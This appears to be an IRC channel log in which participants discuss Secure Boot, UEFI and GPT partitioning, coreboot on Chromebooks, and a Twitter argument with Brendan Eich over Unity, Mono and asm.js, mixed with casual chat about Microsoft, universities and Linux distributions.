MinceReven on a Lemote, you could run winblows with qemu :>Mar 11 11:11
cubexyzcould you run windows 8 under qemu?Mar 11 11:12
MinceRi've never triedMar 11 11:13
MinceRare there any new tricks to prevent it?Mar 11 11:13
cubexyzugh, it's horrible to even think about :)Mar 11 11:13
cubexyzsure, secureboot for one Mar 11 11:13
msb_CoreBoot should have a default setting that if you try to run Windows on it it just makes a rude noise.Mar 11 11:13
MinceR:DMar 11 11:13
MinceRdoes vista8 complain if you boot it with BIOS?Mar 11 11:14
roy_not secure for the monopolyMar 11 11:14
*roy_ is now known as schestowitzMar 11 11:14
XRevan86MinceR: no…Mar 11 11:15
cubexyzGoogle did something smart, they teamed up with the coreboot folksMar 11 11:15
XRevan86Vista8 does not care whether it's booted via UEFI, UEFI+SecureBoot or BIOS MBRMar 11 11:15
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XRevan86It did notify user while booting without SecureBoot with UEFI but stopped.Mar 11 11:16
XRevan86with some updateMar 11 11:16
XRevan86http://main.makeuseoflimited.netdna-cdn.com/wp-content/uploads/2013/11/windows81_secureboot_watermark.jpgMar 11 11:18
cubexyzI'm told that you can't disable secure boot on ARMMar 11 11:20
XRevan86cubexyz: Indeed.Mar 11 11:20
cubexyzand it's actually pretty hard to buy a LemoteMar 11 11:21
XRevan86On practice it means it is impossible to run other OS on Surface non-Pro and their crappy smartphones.Mar 11 11:21
MinceRgood thing their hardware sucks, then :>Mar 11 11:24
XRevan86I wonder what stops from running Шindows on x86 ChromebooksMar 11 11:25
XRevan86there are implementations of UEFI for corebootMar 11 11:25
XRevan86Still, it is possible that coreboot is not that flexible but I just don't have the knowledge.Mar 11 11:26
cubexyzthere's nothing about coreboot that precludes using windowsMar 11 11:26
cubexyzso windows on chromebooks is probably possibleMar 11 11:26
XRevan86cubexyz: There is no "compatible with Vista 8.1" label on it!Mar 11 11:27
XRevan86I guess this is it.Mar 11 11:27
cubexyzha, well drives could be a problemMar 11 11:27
cubexyzdriversMar 11 11:27
cubexyznot sure about it... but coreboot by itself doesn't make it impossibleMar 11 11:28
XRevan86I think complectation is quite standardMar 11 11:28
XRevan86on x86 chromebooksMar 11 11:28
XRevan86ARM editions is another story of course.Mar 11 11:28
cubexyzit seems like a silly thing to do thoughMar 11 11:28
XRevan86cubexyz: There are people who buy macbooks and then^W^WMar 11 11:29
XRevan86"Silly thing to do" was never a problem :DMar 11 11:29
msb_XRevan86: "complectation" ?Mar 11 11:30
XRevan86msb_: stuff insideMar 11 11:30
XRevan86motherboard, processor, network cards, etc.Mar 11 11:31
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msb_thanksMar 11 11:31
msb_Is it impossible to run an arbitrary OS on ARM without the OS being commercially registered?Mar 11 11:32
XRevan86msb_: No, it is possible but…Mar 11 11:32
XRevan86ARM's are not that standardizedMar 11 11:33
XRevan86Driver problems on ARM's happen even on Linux.Mar 11 11:33
msb_XRevan86: But secure boot doesn't prevent loading it?Mar 11 11:34
XRevan86msb_: I thought you are talking about Chromebooks.Mar 11 11:35
cubexyza lot of ARM stuff predates secure boot, so of course that would work fineMar 11 11:35
cubexyze.g. zaurus can run BSDMar 11 11:35
XRevan86SecureBoot and UEFI on ARM is a Microsoft-only thing.Mar 11 11:36
XRevan86Шindows Mobile/Phone, Microsoft Surface, etc.Mar 11 11:36
XRevan86(Шindows Phone 10 is going to be Шindows Mobile 10 again)Mar 11 11:37
cubexyzARM Holdings licenses the chip designs to third partiesMar 11 11:38
cubexyzARMv4 was strongARM and used in the Sharp ZaurusMar 11 11:40
cubexyzI think it's up to ARMv8 nowMar 11 11:40
msb_I thought UEFI prevented any OS from booting that wasn't registered by MS.  So it was a MS weapon against Linux.Mar 11 11:42
cubexyzok, Microsoft Surface uses ARMv7 cpusMar 11 11:42
cubexyzbut there's a bunch of other ones as wellMar 11 11:42
cubexyznot sure if ARMv8 is even out yetMar 11 11:43
cubexyzthe point of UEFI wasn't really to lock out Linux, it was to replace BIOSMar 11 11:43
msb_This is all too confusing.  I'm gonna find my old 8088 PC and watch movies in ASCII.Mar 11 11:44
cubexyzBIOS has the real mode limitations...Mar 11 11:44
cubexyz1 megabyte window for memoryMar 11 11:44
cubexyzUEFI is needed to boot from big hard drives, like > 2 terabytesMar 11 11:45
cubexyzBIOS was designed for a IBM 5150 :)Mar 11 11:46
cubexyzbut UEFI has a lot of Microsoft influenceMar 11 11:47
cubexyzpeople are right to be worried about itMar 11 11:47
XRevan86I see a lot of messing up with terms GPT, UEFI and SecureBoot :)Mar 11 11:48
XRevan86> UEFI is needed to boot from big hard drives, like > 2 terabytesMar 11 11:48
XRevan86GPTMar 11 11:48
XRevan86> I thought UEFI prevented any OS from booting that wasn't registered by MSMar 11 11:48
XRevan86SecureBootMar 11 11:48
XRevan86Also SecureBoot is disableable on every x86 PC which is known to man.Mar 11 11:48
msb_But I could hack the IBMPC bios by putting in interrupt traps.  Life was good!Mar 11 11:48
cubexyzGUID is part of UEFIMar 11 11:49
XRevan86cubexyz: GPT is just a partition table. You can use it without UEFI.Mar 11 11:50
XRevan86GRUB can work with GPT on MBR BIOS.Mar 11 11:50
msb_I thought Linux ignored the bios once it got going.Mar 11 11:51
msb_So there would not be disk size limitations.Mar 11 11:51
XRevan86The only disadvantage of using GPT on MBR BIOS is unsupportance by… Шindows.Mar 11 11:52
XRevan86So I did use GPT on MBR BIOS since I don't use this OS :).Mar 11 11:52
msb_What do I need to run 3 or 4TB WD drives with Linux?Mar 11 11:52
XRevan86https://wiki.archlinux.org/index.php/GUID_Partition_Table#BIOS_systemsMar 11 11:53
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msb_These may be a "sweet spot" now.Mar 11 11:53
cubexyzI think the 2 terabyte limit is a MBR limitMar 11 11:54
cubexyz2^32 * 512 bytesMar 11 11:54
XRevan86The only thing GRUB requires on such configuration is a 2 MiB partition marked as bios-grub (parted terminology)Mar 11 11:55
cubexyzthere's probably a way around it Mar 11 11:55
XRevan86cubexyz: GPTMar 11 11:56
XRevan86I just said how easy it is to use GPT on non-UEFI BIOS :).Mar 11 11:56
XRevan86thanks to GRUBMar 11 11:56
cubexyzthe boot loader and the OS must be GPT compatibleMar 11 11:56
XRevan86cubexyz: GRUB and LinuxMar 11 11:57
XRevan86Windows Loader and Windows won't work, yes.Mar 11 11:57
cubexyzso is GPT larger than MBR I assume?Mar 11 11:57
XRevan86Windows refuses to work with GPT without UEFI.Mar 11 11:57
MinceRthe design of uefi is full of microsoft garbageMar 11 11:57
MinceRPE, FATMar 11 11:57
MinceRalso, don't let the fact that they let you disable Restricted Boot for now fool youMar 11 11:58
XRevan86cubexyz: https://upload.wikimedia.org/wikipedia/commons/b/bb/GNU_GRUB_on_GPT_partitioned_hard_disk_drives.svgMar 11 11:58
XRevan86MinceR: Yeah, this might stop after Windows 7 loosing popularity enough.Mar 11 11:59
MinceRthe only reason their logo requirements don't include mandatory non-disableable Restricted Boot is that they had PR backlash for itMar 11 11:59
cubexyzoh, the GPT is separate from MBRMar 11 11:59
schestowitzMinceR: LOL at http://i.imgur.com/1HrVduw.jpgMar 11 11:59
XRevan86cubexyz: A totally different partiiton table.Mar 11 11:59
schestowitzhe comes in many formsMar 11 12:00
cubexyzand the size depends on sector sizeMar 11 12:00
msb_XRevan86: Thanks for the references!Mar 11 12:00
cubexyzthere's also LILO to considerMar 11 12:02
cubexyzalthough I assume they'll update that as wellMar 11 12:02
XRevan86God does not exist because SecureBoot and god can't exist in the same world %).Mar 11 12:02
schestowitzhttps://twitter.com/1MalachiD/status/575627332993425408Mar 11 12:03
-TechrightsBot-tr/#techrights-@1MalachiD: @schestowitz That may have been justified then. Certainly not convinced of it now.Mar 11 12:03
XRevan86schestowitz: What movie are you telling about?Mar 11 12:05
XRevan86https://en.wikipedia.org/wiki/The_Equalizer_%28film%29 Found itMar 11 12:05
-TechrightsBot-tr/#techrights-en.wikipedia.org | The Equalizer (film) - Wikipedia, the free encyclopedia [ http://ur1.ca/jw10p ]Mar 11 12:05
XRevan86> Russian mafiaMar 11 12:06
XRevan86oh myMar 11 12:06
cubexyzfirst generation chromebooks used H2C which is UEFI basedMar 11 12:14
cubexyz2nd generation chromebooks use corebootMar 11 12:14
XRevan86cubexyz: Modified InsydeH2O?Mar 11 12:15
cubexyzyeah I think that's been doneMar 11 12:16
cubexyzbut I have the coreboot folks to help me if I try anythingMar 11 12:16
XRevan86https://wiki.archlinux.org/index.php/Chromebook#Hardware_ComparisonsMar 11 12:17
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XRevan86> Custom firmware not available yetMar 11 12:17
cubexyzdo you use coreboot XRevan86?Mar 11 12:17
XRevan86darn it, I knew it's all device specific!Mar 11 12:17
XRevan86cubexyz: No, InsydeH2OMar 11 12:18
XRevan86Acer laptop, not a Chromebook.Mar 11 12:18
cubexyzoh I seeMar 11 12:18
cubexyzdo you get source code for that or...?Mar 11 12:18
XRevan86cubexyz: I don't really have an option.Mar 11 12:18
XRevan86either InsydeH2O, old Phoenix or tough experiments with porting coreboot to my laptop.Mar 11 12:19
cubexyzI think the chromeboxes are all similarMar 11 12:20
cubexyzASUS, HP, Acer and DellMar 11 12:20
XRevan86cubexyz: Didn't hear about them until today.Mar 11 12:21
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MinceRhttp://macleodsawyer.com/2015/03/06/nine-truths-computer-programmers-know-that-most-people-dont/Mar 11 13:01
-TechrightsBot-tr/#techrights-macleodsawyer.com | 9 truths that computer programmers know that most people don't. [ http://ur1.ca/jw1m0 ]Mar 11 13:01
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schestowitzMinceR: do you happen to have logs of the channels for times my connection was down? I think mostly over the weekendMar 11 13:07
XRevan86http://cdn.img42.com/6704a24d3988a047c3bf9868d40cf7a3.pngMar 11 13:10
XRevan86systemd-nspawn is a funny thing.Mar 11 13:10
MinceRschestowitz: i doMar 11 13:13
MinceRmy connection probably had some interruptions thoughMar 11 13:13
schestowitzexcellent, thanks :-)Mar 11 13:14
schestowitzhttps://twitter.com/alburr1to/status/574789993790619649  https://twitter.com/arebee/status/574785616543547394Mar 11 13:15
schestowitzGiven the whitewashing of Microsoft, Gates, and even trolls like Myhrvold, I think it's pretty evidenceMar 11 13:15
schestowitz*evidentMar 11 13:16
-TechrightsBot-tr/#techrights-@alburr1to: Here is how #Microsoft longtime mouthpiece Todd Bishop framed extortion against #linux http://t.co/aM9HGMM6mR (@schestowitz)Mar 11 13:16
-TechrightsBot-tr/#techrights--> www.geekwire.com | Microsoft sues Kyocera in new Android patent infringement dispute - GeekWireMar 11 13:16
-TechrightsBot-tr/#techrights-@arebee: @schestowitz wow, calling @toddbishop a Microsoft mouthpiece is a) a crappy ad hominem b) wrong. @jhambyMar 11 13:16
schestowitzhttps://twitter.com/jhamby/status/574782605318602752  https://twitter.com/jhamby/status/574782153382232064   https://twitter.com/jhamby/status/574781649340252160Mar 11 13:17
-TechrightsBot-tr/#techrights-@jhamby: There aren't any good workarounds for that patent that wouldn't break all third-party SMS using #Android apps. 😞 @schestowitz @toddbishopMar 11 13:17
-TechrightsBot-tr/#techrights-@jhamby: .@schestowitz @toddbishop I know $MSFT sued Motorola in Germany over their concatenated SMS API patent. US version: https://t.co/ziDOmGaKk8Mar 11 13:17
-TechrightsBot-tr/#techrights-@jhamby: .@schestowitz @toddbishop on the $MSFT patents: I think they're bullshit (should never have been granted) but also Android likely infringes.Mar 11 13:17
schestowitzhttps://twitter.com/FOSSpatents/status/574763389467103232Mar 11 13:17
-TechrightsBot-tr/#techrights-@FOSSpatents: @schestowitz A Dutch MEP links to TechRights in official question(s) to EU Commission: http://t.co/ATN5G9IN2m via http://t.co/714iDppyUPMar 11 13:17
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schestowitzhttps://twitter.com/BrendanEich/status/573337993664192512   https://twitter.com/BrendanEich/status/573400778309832704  https://twitter.com/BrendanEich/status/573406275029082112   https://twitter.com/BrendanEich/status/573406341643042816   https://twitter.com/BrendanEich/status/573408158565187584Mar 11 13:34
-TechrightsBot-tr/#techrights-@BrendanEich: @schestowitz Confusion! There is no native-code Mono in Firefox integration. Just downloading the Unity 5 engine compiled to JS (asm.js).Mar 11 13:34
-TechrightsBot-tr/#techrights-@BrendanEich: @schestowitz no, the WebGL/asm.js download is web content, http-cached. Zero install, no native code, no more encumbering than, e.g., gmail.Mar 11 13:34
-TechrightsBot-tr/#techrights-@BrendanEich: @schestowitz There is no Mono on client or server. Unity 5 compiles out all .NET code at tool time: C# => C++ => asm.js. Pure web content.Mar 11 13:34
-TechrightsBot-tr/#techrights-@BrendanEich: @schestowitz Please adjust your hair-trigger re: Unity and Mono accordingly ;-).Mar 11 13:34
-TechrightsBot-tr/#techrights-@BrendanEich: @schestowitz The "WebGL" target is downloaded web content: HTML, JS (asm.js), images, CSS. Won't find Mono runtime there. All C# boils away.Mar 11 13:34
MinceRso, mono/c# code compiled to asm.js? :>Mar 11 13:35
schestowitzhttps://twitter.com/BrendanEich/status/573409249751121921   https://twitter.com/BrendanEich/status/573412067232907264   https://twitter.com/BrendanEich/status/573412628040704001   https://twitter.com/BrendanEich/status/573414112581054464   https://twitter.com/BrendanEich/status/573414243976011776  Mar 11 13:35
-TechrightsBot-tr/#techrights-@BrendanEich: @schestowitz Firefox is just a browser, parses and runs/renders JS/WebGL/HTML/&c. There is no CLR in it, contrary to what you seemed to say.Mar 11 13:35
-TechrightsBot-tr/#techrights-@BrendanEich: @schestowitz You wrote "#mozilla helps spread #microsoft #mono". I say that's false, full stop. Unity's spread does not depend on Mozilla.Mar 11 13:35
-TechrightsBot-tr/#techrights-@BrendanEich: @schestowitz Unity == successful game engine, Mono or no. All browsers optimizing asm.js now, so no truth to "#mozilla helps spread <evil>".Mar 11 13:35
-TechrightsBot-tr/#techrights-@BrendanEich: @schestowitz where <evil> clearly was "Mono installed on your PC"; pls. don't move goalpost to non-threat of Mono used more by Unity tools.Mar 11 13:35
-TechrightsBot-tr/#techrights-@BrendanEich: @schestowitz Patent-encumbered tools used all the time to create web content (also to make RMS's laptop :-|).Mar 11 13:35
schestowitzhttps://twitter.com/BrendanEich/status/573417863190618112  https://twitter.com/BrendanEich/status/573422838872449024   https://twitter.com/BrendanEich/status/573427011689025537Mar 11 13:35
-TechrightsBot-tr/#techrights-@BrendanEich: @schestowitz I would not attribute Unity dominance to 2015 WebGL target support. I also question Mono bad effects, even if indirect boost.Mar 11 13:35
-TechrightsBot-tr/#techrights-@BrendanEich: @schestowitz I'm aware; still no boost via asm.js/WebGL. Personally I choose battles that matter more by all measures, e.g., DRM.Mar 11 13:35
-TechrightsBot-tr/#techrights-@BrendanEich: @schestowitz Thank you; didn't work out there but I am still advising OTOY. Long game.Mar 11 13:35
MinceRi'm sure compiling to asm.js makes patent violations go awayMar 11 13:36
schestowitzyeah, my thoughts too...Mar 11 13:39
schestowitznon-argumentMar 11 13:39
schestowitzhttps://twitter.com/jblck/status/572881796137816066Mar 11 13:39
schestowitzhttps://twitter.com/ABridgwater/status/572720448296902656Mar 11 13:40
schestowitzhttps://twitter.com/fth_nix/status/572524571615748097  https://twitter.com/Messgorough/status/572523337206906880  https://twitter.com/SleepyPenguin1/status/572523194856448001Mar 11 13:41
MinceRlooks like mozilla is going out of touchMar 11 13:41
schestowitzhttps://twitter.com/fth_nix/status/572521682264592384 https://twitter.com/SleepyPenguin1/status/572519813257560064 https://twitter.com/fth_nix/status/572518046205673475Mar 11 13:42
schestowitzhttps://twitter.com/SleepyPenguin1/status/572517248822353920  https://twitter.com/fth_nix/status/572516644976795648 https://twitter.com/SleepyPenguin1/status/572516151252660224   https://twitter.com/SleepyPenguin1/status/572515825451728896Mar 11 13:43
schestowitzhttps://twitter.com/fth_nix/status/572515731012771840  https://twitter.com/fth_nix/status/572515555112050688    https://twitter.com/SleepyPenguin1/status/572514811369676801    https://twitter.com/fth_nix/status/572514431659327488Mar 11 13:44
-TechrightsBot-tr/#techrights-@jblck: @schestowitz This is a very old #Ubuntu feature. Some thoughts on the issue from back in 2012 here https://t.co/WXhqFkfdODMar 11 13:44
-TechrightsBot-tr/#techrights--> jsphblck.wordpress.com | Ubuntu 12.04 Precise Pangolin – Hello Unity | Quotidian mundanity. Verbalised.Mar 11 13:44
-TechrightsBot-tr/#techrights-@ABridgwater: @schestowitz I'm really not sure why I wasn't following you back - many apologiesMar 11 13:44
-TechrightsBot-tr/#techrights-@fth_nix: @SleepyPenguin1 @ruskin147 @schestowitz What's life without adventure ;D The code's there to pick up any time! The gnu's time will come!Mar 11 13:44
-TechrightsBot-tr/#techrights-@Messgorough: @schestowitz Also both liars with products overcharged, overhyped and full of poisonous rubbish.Mar 11 13:44
-TechrightsBot-tr/#techrights-@SleepyPenguin1: @fth_nix @schestowitz @ruskin147 I might be travelling later this year. That's when it usually happens. Go walkabout in the skies around us.Mar 11 13:44
-TechrightsBot-tr/#techrights-@fth_nix: @SleepyPenguin1 @schestowitz @ruskin147 It is a bit of thing getting time to do any of these things. Research project computer studies maybeMar 11 13:44
-TechrightsBot-tr/#techrights-@SleepyPenguin1: @fth_nix @schestowitz @ruskin147 I'm used to steep learning curves. But I think I'm short on time.Mar 11 13:44
-TechrightsBot-tr/#techrights-@fth_nix: @SleepyPenguin1 @schestowitz @ruskin147 Aww I'm gonna have to learn this stuff!!!Mar 11 13:44
-TechrightsBot-tr/#techrights-@SleepyPenguin1: @fth_nix @schestowitz @ruskin147 It is.I remember a few times over thirty years when some of us finally worked it out and made a difference.Mar 11 13:44
-TechrightsBot-tr/#techrights-@fth_nix: @SleepyPenguin1 @schestowitz @ruskin147 Great when you get over a bump tho innit? <hyperthread> https://t.co/j1AvoOa8qFMar 11 13:44
-TechrightsBot-tr/#techrights--> www.gnu.org | multithreadingMar 11 13:44
-TechrightsBot-tr/#techrights-@SleepyPenguin1: @fth_nix @schestowitz @ruskin147 Not sure. Might have been. But with the advent of ARM processors and Raspberry Pi things change.Mar 11 13:44
-TechrightsBot-tr/#techrights-@SleepyPenguin1: @fth_nix @schestowitz @ruskin147 I was working on it. But. Some developers put me off. Could try again but it's a long uphill slog...Mar 11 13:44
-TechrightsBot-tr/#techrights-@fth_nix: @SleepyPenguin1 @schestowitz @ruskin147 wasn't it capable of multithread pre dual core???Mar 11 13:44
-TechrightsBot-tr/#techrights-@fth_nix: @SleepyPenguin1 @schestowitz @ruskin147 If I could just work out how to code some kernel...Mar 11 13:44
-TechrightsBot-tr/#techrights-@SleepyPenguin1: @fth_nix @schestowitz @ruskin147 True enough.. but.. lot of cynical mailing list traffic. Over many years. We can only hope...Mar 11 13:44
-TechrightsBot-tr/#techrights-@fth_nix: @SleepyPenguin1 @schestowitz @ruskin147 RMS may yet see a migration to HURD ; D Another successful #open kernel would be great.Mar 11 13:44
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schestowitz__"Most citizens prefer to only vote once every few years and blame the government of everything."Mar 11 18:55
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BatmiteHi Roy,Mar 11 19:44
BatmiteHi Roy, we are missing your  comments in relation to the EPO issues. When will you  be back?Mar 11 19:46
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schestowitz> Would ssh-guard or fail2ban work for WordPress?Mar 11 20:52
schestowitz> Mar 11 20:52
schestowitz> I would consider the two Apache modules I mentioned before.  The oneMar 11 20:52
schestowitz> would help reduce the load on the backend db.Mar 11 20:52
schestowitzI have not enabled fail2ban for about a month because the DDOS subsided and fail2ban bans some legit visitors.Mar 11 20:52
schestowitz Mar 11 20:52
schestowitz> I hope the trip went well.Mar 11 20:52
schestowitzYes, half the photos are now in http://schestowitz.com/royrianne/gallery/index.php/Mar 11 20:52
-TechrightsBot-tr/#techrights-schestowitz.com | Roy and Rianne's Wedding and Beyond [ http://ur1.ca/e25rf ]Mar 11 20:52
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schestowitzhttps://twitter.com/gnutelephony/status/575777389881380866Mar 11 23:29
-TechrightsBot-tr/#techrights-@gnutelephony: @symantec @jmcest @schestowitz this was likely not "accidental"...Mar 11 23:30
schestowitzhttps://joindiaspora.com/p/5727299Mar 12 02:12
-TechrightsBot-tr/#techrights-joindiaspora.com | #Wireshark , Worl...Mar 12 02:12
MinceRgnMar 12 02:33
schestowitzhttps://twitter.com/anne_elliot2/status/575842095379841024Mar 12 02:48
-TechrightsBot-tr/#techrights-@anne_elliot2: @jmcest @schestowitz meaninglessness of mathematics https://t.co/vC8LROw2pK Godels theorems end in meaninglessness http://t.co/6sWlPnI4d6Mar 12 02:48
-TechrightsBot-tr/#techrights--> www.scribd.com | Mathematics Ends in Meaninglessness ie self-contradictionMar 12 02:48
cubexyzuh :)Mar 12 03:22
cubexyzok, you might have heard of Ludwig Plutonium?Mar 12 03:22
cubexyzColin Leslie Dean is in the same categoryMar 12 03:23
cubexyzhttp://pricegems.com/blog/pricegems/Dean_v._Godel.htmlMar 12 03:26
-TechrightsBot-tr/#techrights-pricegems.com | Rebuttal of Colin Leslie Dean’s Article Entitled: “Case Study in the Meaninglessness of All Views” by Aaron Hastings [ http://ur1.ca/jw756 ]Mar 12 03:26
cubexyzok, short form: Godel realized that truth in number theory cannot be defined in number theory"Mar 12 03:31
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cubexyzthese smart watches, I don't know...Mar 12 03:50
cubexyz7 day battery life doesn't seem too greatMar 12 03:50
cubexyzmy radio shack stopwatch usually gets 4+ years from one batteryMar 12 03:51
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schestowitz__MinceR: could you please email me 2 weeks' logs for the 4 channels (I'll turn them into IRC logs this weekend)Mar 12 08:28
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__martin__http://www.itworld.com/article/2894936/googles-angular-2-being-built-with-microsofts-typescript.htmlMar 12 12:26
-TechrightsBot-tr/#techrights-www.itworld.com | Google's Angular 2 being built with Microsoft's TypeScript | ITworldMar 12 12:26
__martin__https://www.edx.org/press/edx-collaborates-microsoft-launch-itMar 12 12:31
-TechrightsBot-tr/#techrights-www.edx.org | EdX collaborates with Microsoft to Launch IT Development Courses | edX [ http://ur1.ca/jw98x ]Mar 12 12:31
__martin__http://hardware.slashdot.org/story/15/03/11/1648243/why-we-need-free-digital-hardware-designs vs. http://hardware.slashdot.org/story/15/03/11/0232213/open-source-hardware-approaching-critical-massMar 12 12:32
-TechrightsBot-tr/#techrights-hardware.slashdot.org | Why We Need Free Digital Hardware Designs - Slashdot [ http://ur1.ca/jw991 ]Mar 12 12:32
-TechrightsBot-tr/#techrights-hardware.slashdot.org | Open Source Hardware Approaching Critical Mass - Slashdot [ http://ur1.ca/jw992 ]Mar 12 12:32
__martin__terminology hellMar 12 12:32
__martin__where in heads of gov't representatives come all those ideas to censor the net? is it all about power control and money or there is some higher secretive sense involved? have aliens finally landed? xDMar 12 12:34
__martin__bitcoin = tax evasion -> must be banned altogether without burreau permission = californiaMar 12 12:35
__martin__also "rowhammer" bug marketing, just wtf (=Mar 12 12:37
__martin__but stupid heads will never comprehend why stallman used so long a loongson chip while there wasn't a x86 laptop with ME/AMT disabled properlyMar 12 12:38
__martin__still, funny how AMD cpus are less prone to DDR3 attackMar 12 12:39
__martin__m$ evangelists say: http://arstechnica.com/security/2015/03/guardian-backtracks-says-whisper-doesnt-spy-on-its-users-after-all/Mar 12 12:40
-TechrightsBot-tr/#techrights-arstechnica.com | Guardian backtracks, says Whisper doesn’t spy on its users after all | Ars Technica [ http://ur1.ca/jw9a7 ]Mar 12 12:40
cubexyzlook for the vPro logo, NOT :)Mar 12 12:43
__martin__http://blogs.technet.com/b/server-cloud/archive/2015/03/10/microsoft-extends-commitment-to-open-compute-project.aspxMar 12 12:45
-TechrightsBot-tr/#techrights-blogs.technet.com | Microsoft Extends Commitment to Open Compute Project - Microsoft Server and Cloud Platform Blog - Site Home - TechNet Blogs [ http://ur1.ca/jw9az ]Mar 12 12:45
__martin__word "open" is just raped enough Mar 12 12:45
__martin__3f:02.3 Host bridge: Intel Corporation 1st Generation Core Processor Reserved (rev 02)Mar 12 12:46
__martin__cubexyz: (=Mar 12 12:46
__martin__todayMar 12 12:47
__martin__argued with PhD assistant in classMar 12 12:47
__martin__dafuq he uploaded presentation in *.pps Mar 12 12:48
__martin__cos libreoffice on trisquel won't even read, bitches about passwordMar 12 12:48
__martin__so he started pdf apologism due to effects inside et al xDDDMar 12 12:48
__martin__(I mean he is PhD am not even a Bachelor, perhaps never will be)Mar 12 12:49
cubexyzI actually prefer tarball's of jpg/png to PDFMar 12 12:49
cubexyzany conversion may reduce qualityMar 12 12:50
__martin__people here dunno PNG formatMar 12 12:50
__martin__;DMar 12 12:50
cubexyzand pps isn't on the radar :)Mar 12 12:50
__martin__btw btwMar 12 12:51
__martin__on a first super boring class todayMar 12 12:51
__martin__an old dell-backdoored desktop of professor with XP on itMar 12 12:51
__martin__patched itself and rebooted Mar 12 12:51
__martin__best moment of a classMar 12 12:51
__martin__xDMar 12 12:51
__martin__and on a last third lectureMar 12 12:52
__martin__another XP box hidden in a large desk tried to resolve this IP lan conflict for the whole duration and NOD32 (product of my country) popped red tooltips cos' of skipping heuristics updateMar 12 12:54
cubexyzI would assume any good tech school would have someone knowledgeable enough to run FOSS firmware and FOSS operating systemMar 12 12:54
cubexyzafter all that's where a lot of OSes came fromMar 12 12:55
__martin__yeah the most prominent I mean visible admin shows up everywhere with his iGrownMar 12 12:55
__martin__floss not welcome in hereMar 12 12:56
cubexyzwhere is here?Mar 12 12:56
__martin__even virtual printer defaults to crippled xps instead of pdfMar 12 12:56
__martin__http://tuzvo.sk/Mar 12 12:57
-TechrightsBot-tr/#techrights-Couldn't resolve host 'tuzvo.sk' ( status 0 @ http://tuzvo.sk/ )Mar 12 12:57
__martin__add www.Mar 12 12:57
__martin__xDMar 12 12:57
__martin__been before at http://fei.tuke.sk/ there we got at least a decent moodle set-up and professors advising fedora usageMar 12 12:57
-TechrightsBot-tr/#techrights-fei.tuke.sk | FEI FakultaMar 12 12:57
__martin__time to save up money for parents and quit on the meaningless studiesMar 12 12:58
cubexyzformer yugoslavia, interestingMar 12 12:58
XRevan86https://youtube.com/watch?v=EcH4aHOjnGoMar 12 12:59
-TechrightsBot-tr/#techrights-www.youtube.com | Magnifico - Land of Champions - Director's cut - YouTubeMar 12 12:59
cubexyzI used to really like fedoraMar 12 12:59
XRevan86cubexyz: Since you've mentioned Yugoslavia.Mar 12 13:00
__martin__well today am gonna replace f21 amd desktop at parents' with f22 alphaMar 12 13:02
__martin__also want to try that wine staging with that d3d state trackerMar 12 13:02
__martin__you guys open up your wifi for neighbours?Mar 12 13:04
cubexyza Solevenian arrangement of House of the Rising Sun? :)Mar 12 13:07
__martin__Greek unemployment rate increased to 26.1% && basic income nowhere to realityMar 12 13:07
cubexyzSlovenianMar 12 13:07
__martin__slovenia's TLD is .slMar 12 13:07
cubexyzXRevan86, neat videoMar 12 13:07
XRevan86cubexyz: YeahMar 12 13:08
cubexyzright, I should have said former Czechoslovakia, my mistakeMar 12 13:09
__martin__np, artifical borders do not matterMar 12 13:09
cubexyzI've forgotten a lot :)Mar 12 13:09
__martin__(=Mar 12 13:09
__martin__cial*Mar 12 13:10
__martin__schestowitz__: how much does a beer cost in Singapore?Mar 12 13:10
__martin__(asking because czechs consider it both a drink and a meal xDD)Mar 12 13:11
cubexyzI'm from Canada, we have OpenBSD and Vector Linux :)Mar 12 13:12
cubexyznot sure what XRevan86 usesMar 12 13:12
XRevan86cubexyz: openSUSE :)Mar 12 13:13
cubexyzsomething x86 I'm sureMar 12 13:13
XRevan86Packard Bell (Acer) TE11HCMar 12 13:13
XRevan86* EasyNote TE11HCMar 12 13:13
cubexyzthe weird thing was, I just picked OpenBSD and Vector Linux by chanceMar 12 13:13
cubexyzdidn't even realize they were Canadian distrosMar 12 13:14
XRevan86I know only one good Russian distro: CalculateMar 12 13:14
XRevan86http://calculate-linux.org/Mar 12 13:14
-TechrightsBot-tr/#techrights-www.calculate-linux.org | Calculate LinuxMar 12 13:14
__martin__XRevan86: cubexyz: https://www.youtube.com/watch?v=DCbiJVGPob8Mar 12 13:15
-TechrightsBot-tr/#techrights-www.youtube.com | Miloš Zeman - Kunda sem, kunda tam, remix - YouTube [ http://ur1.ca/jw9er ]Mar 12 13:15
cubexyzunfortunately my country is blocked from that videoMar 12 13:15
XRevan86__martin__: Can't watch anything now, I'll reply when it'll be most inconvinient for you :DMar 12 13:15
__martin__perhaps that is fortunate (=Mar 12 13:16
XRevan86Isn't blocked in "my" country (British IP, VPN)Mar 12 13:17
__martin__oh ye, region locks, because humans are three/four/five different species =DMar 12 13:18
cubexyza pity, I found out I have to take Chromebox apart to set developer modeMar 12 13:20
XRevan86cubexyz: Now all your data from /home is wiped out?Mar 12 13:20
cubexyzXRevan86, lol no, I haven't even bought it yet Mar 12 13:21
__martin__xDMar 12 13:21
cubexyzjust doing research Mar 12 13:21
XRevan86cubexyz: Ah :)Mar 12 13:21
cubexyzASUS/HP/Dell versions are a bit easier to work on thoughMar 12 13:22
cubexyzAcer is a bit harderMar 12 13:22
__martin__I wish for Pixel like sub-notebook 13" with libreboot, Debian/Devuan, tor daemon from start and pricetag 333€ (=Mar 12 13:23
__martin__all the HW in use is +-2010 atmMar 12 13:23
cubexyzha, you should see my computer roomMar 12 13:24
cubexyztons of old stuffMar 12 13:24
__martin__nvidia riva tnt2 - being the oldest horsepower chip in family cellars xDMar 12 13:25
__martin__i remember my old-selfMar 12 13:26
__martin__wanting so much to try some voodoo/3dfx gpu =DMar 12 13:26
cubexyzI think I have one :)Mar 12 13:26
__martin__also want to askMar 12 13:27
__martin__when i use this firefox os zte device without simMar 12 13:27
__martin__how often does it pings closest base station, just at cold starts and shutdowns or?Mar 12 13:28
__martin__(since there is this "emergency feature")Mar 12 13:28
__martin__ping*Mar 12 13:28
__martin__[putting aside that i use eduroam credentials with my surname involved]Mar 12 13:30
cubexyzI only use land lineMar 12 13:30
cubexyzif someone wants to reach me use email :)Mar 12 13:31
__martin__only my closest friends of ol' are keen on mails =DMar 12 13:32
XRevan86If someone wants to reach me use XMPP :).Mar 12 13:32
__martin__well, sadly fb/goog silos don't federate xDMar 12 13:32
__martin__instead of writing me through pidgin with otr enabled, ex-girlfriend visited me by footMar 12 13:33
__martin__women logicMar 12 13:33
__martin__pgp/gpg is out of topicMar 12 13:35
__martin__could have brought to use it just a best friend who is certified cisco manwhoreMar 12 13:35
